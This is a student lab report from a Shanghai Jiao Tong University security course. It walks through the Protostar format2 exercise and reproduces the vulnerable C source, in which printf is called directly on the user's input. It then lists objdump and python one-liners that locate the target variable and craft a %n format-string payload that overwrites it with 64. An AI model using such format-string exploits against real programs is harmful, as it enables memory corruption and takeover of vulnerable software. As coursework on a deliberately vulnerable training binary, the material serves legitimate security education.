上海交通大学
SHANGHAI JIAO TONG UNIVERSITY

CS3312 Lab Format2

学号：522031910439　姓名：梁俊轩

2025 年 3 月 23 日

1 代码逻辑

对源码进行分析, 在 Protostar 官网可以看到 format2 的 C 语言源代码：

```
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);
  printf(buffer);

  if(target == 64) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %d :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}
```

2 漏洞分析

与 format1 不同，这次 target 需要恰好改为 64，但是整体解题思路是一致的：
通过 objdump 找到 target 地址：

```
root@protostar:/opt/protostar/bin# objdump -t format2 |grep target
080496e4 g     O .bss00000004              target
```

随便构造一个输入，确定我们输入的这个字符串在栈中的位置到底在哪里：

```
root@protostar:/opt/protostar/bin# python -c "print 'ABCD'+'%08x.'*10 + '%08x'" | ./format2
ABCD00000200.b7fd8420.bffffb24.44434241.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e
target is 0 :(
```

ABCD 对应的 ASCII 码为 0x41、0x42、0x43、0x44，因此 ABCD 后面只需要填充 24 字节即可。target 要等于 64，则说明要将 ABCD 反复填充，直到占满 40 字节，再加上后面填充的 24 字节，恰好为 64 字节。

```
root@protostar:/opt/protostar/bin# python -c "print 'ABCD'*10+'%08x'*3 + '%08x'" | ./format2
ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD00000200b7fd8420bffffb2444434241
target is 0 :(
```

在设置好填充的数目后，将每一个 ABCD 替换成 target 的地址，在输入的最后换成’%08n’，

```
root@protostar:/opt/protostar/bin# python -c "print '\xe4\x96\x04\x08'*10+'%08x'*3 + '%08n'" | ./format2
00000200b7fd8420bffffb24
you have modified the target :)
```

最后成功更改 target 到 64.